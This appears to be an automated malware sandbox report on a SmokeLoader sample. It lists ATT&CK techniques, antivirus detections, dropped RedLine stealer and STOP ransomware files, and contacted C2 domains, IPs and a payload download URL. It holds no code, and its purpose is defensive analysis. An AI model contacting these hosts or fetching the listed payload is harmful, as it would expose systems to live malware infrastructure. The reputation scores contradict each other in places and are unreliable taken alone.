Local Accounts	1 Command and Scripting Interpreter	Logon Script (Mac)	Logon Script (Mac)	32 Software Packing	NTDS	365 System Information Discovery	Distributed Component Object Model	21 Input Capture	Scheduled Transfer	4 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	2 Clipboard Data	Data Transfer Size Limits	115 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	1 PowerShell	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	981 Security Software Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	581 Virtualization/Sandbox Evasion	Proc Filesystem	581 Virtualization/Sandbox Evasion	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	712 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	1 System Owner/User Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Rundll32	Input Capture	1 Remote System Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
aw9Ynwqd1x.exe	85%	ReversingLabs	Win32.Trojan.SmokeLoader
aw9Ynwqd1x.exe	66%	Virustotal		Browse
aw9Ynwqd1x.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Library.exe	100%	Avira	HEUR/AGEN.1250389
C:\Users\user\AppData\Local\Temp\2560.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\dbjigst	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\336E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5898187.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Library.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\226F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\226F.exe	43%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\226F.exe	39%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\2560.exe	67%	ReversingLabs	Win32.Ransomware.Stop
C:\Users\user\AppData\Local\Temp\336E.exe	81%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\5898187.dll	18%	ReversingLabs
C:\Users\user\AppData\Roaming\dbjigst	85%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll	62%	ReversingLabs	Win64.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
18.2.ngentask.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
16.3.226F.exe.d030000.1.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
14.2.336E.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1213203	Download File
16.3.226F.exe.d030000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
13.3.dbjigst.2c50000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.dbjigst.2c30e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
36.0.Library.exe.a20000.0.unpack	100%	Avira	HEUR/AGEN.1250389	Download File
13.2.dbjigst.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.aw9Ynwqd1x.exe.2bf0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.aw9Ynwqd1x.exe.2c00000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.2560.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
0.2.aw9Ynwqd1x.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.226F.exe.2f20000.2.unpack	100%	Avira	HEUR/AGEN.1228718	Download File

Domains

Source	Detection	Scanner	Label	Link
potunulit.org	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://potunulit.org/	0%	URL Reputation	safe
http://potunulit.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Responseon	100%	URL Reputation	phishing
http://tempuri.org/Entity/Id19Responseon	100%	URL Reputation	phishing
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://novanosa5org.org/	0%	URL Reputation	safe
http://golilopaster.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14V	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
http://bulimu55t.net/	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://soryytlic4.net/	0%	URL Reputation	safe
http://soryytlic4.net/	0%	URL Reputation	safe
http://drampik.com/lancer/get.php	11%	Virustotal		Browse
89.208.103.88:37538	6%	Virustotal		Browse
http://109.206.243.168/upload/libcurl.dll	3%	Virustotal		Browse
http://109.206.243.168/upload/libcurl.dll	0%	Avira URL Cloud	safe
http://drampik.com/lancer/get.php	100%	Avira URL Cloud	malware
89.208.103.88:37538	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
potunulit.org	188.114.97.3	true	true	11%, Virustotal, Browse	unknown
api.2ip.ua	162.0.217.254	true	false		high
transfer.sh	144.76.136.153	true	false		high
gekjegoudn6i5fbces.jomf6mtobkl32eai1qwqxsxpnfyv2s	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://potunulit.org/	true	URL Reputation: safe URL Reputation: safe	unknown
http://novanosa5org.org/	true	URL Reputation: safe	unknown
http://golilopaster.org/	true	URL Reputation: safe	unknown
http://bulimu55t.net/	true	URL Reputation: safe	unknown
http://drampik.com/lancer/get.php	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
89.208.103.88:37538	true	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.206.243.168/upload/libcurl.dll	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://soryytlic4.net/	true	URL Reputation: safe URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultP	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	ngentask.exe, 00000012.00000002.460489461.0000000003671000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.00000000045A6000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.0000000004681000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.000000000469E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	ngentask.exe, 00000012.00000002.466719826.000000000469E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Responseon	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: phishing URL Reputation: phishing	unknown
http://tempuri.org/Entity/Id12Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ns.adobe.c/g	ngentask.exe, 00000012.00000003.456193929.000000000196C000.00000004.00000020.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.459451684.000000000196E000.00000004.00000020.00020000.00000000.sdmp, ngentask.exe, 00000012.00000003.456098286.000000000196B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000367E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id7	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14V	ngentask.exe, 00000012.00000002.466719826.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	226F.exe, 00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp, 226F.exe, 00000010.00000003.469890360.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, 226F.exe, 00000010.00000002.479891077.00000000016F2000.00000004.00000020.00020000.00000000.sdmp, 226F.exe, 00000010.00000003.369928370.000000000D032000.00000040.00001000.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.456297712.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000367E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ngentask.exe, 00000012.00000002.466719826.000000000469E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://api.2ip.ua/N	2560.exe, 00000011.00000003.362777696.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, 2560.exe, 00000011.00000002.364169041.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	ngentask.exe, 00000012.00000002.460489461.0000000003671000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.00000000045A6000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.0000000004681000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.000000000469E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000367E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	ngentask.exe, 00000012.00000002.460489461.00000000033B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	ngentask.exe, 00000012.00000002.460489461.0000000003671000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.00000000045A6000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.0000000004681000.00000004.00000800.00020000.00000000.sdmp, ngentask.exe, 00000012.00000002.466719826.000000000469E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	ngentask.exe, 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
188.114.97.3	potunulit.org	European Union	13335	CLOUDFLARENETUS	true
109.206.243.168	unknown	Germany	209929	AWMLTNL	true
162.0.217.254	api.2ip.ua	Canada	35893	ACPCA	false
89.208.103.88	unknown	Russian Federation	42569	PSKSET-ASRU	true

General Information

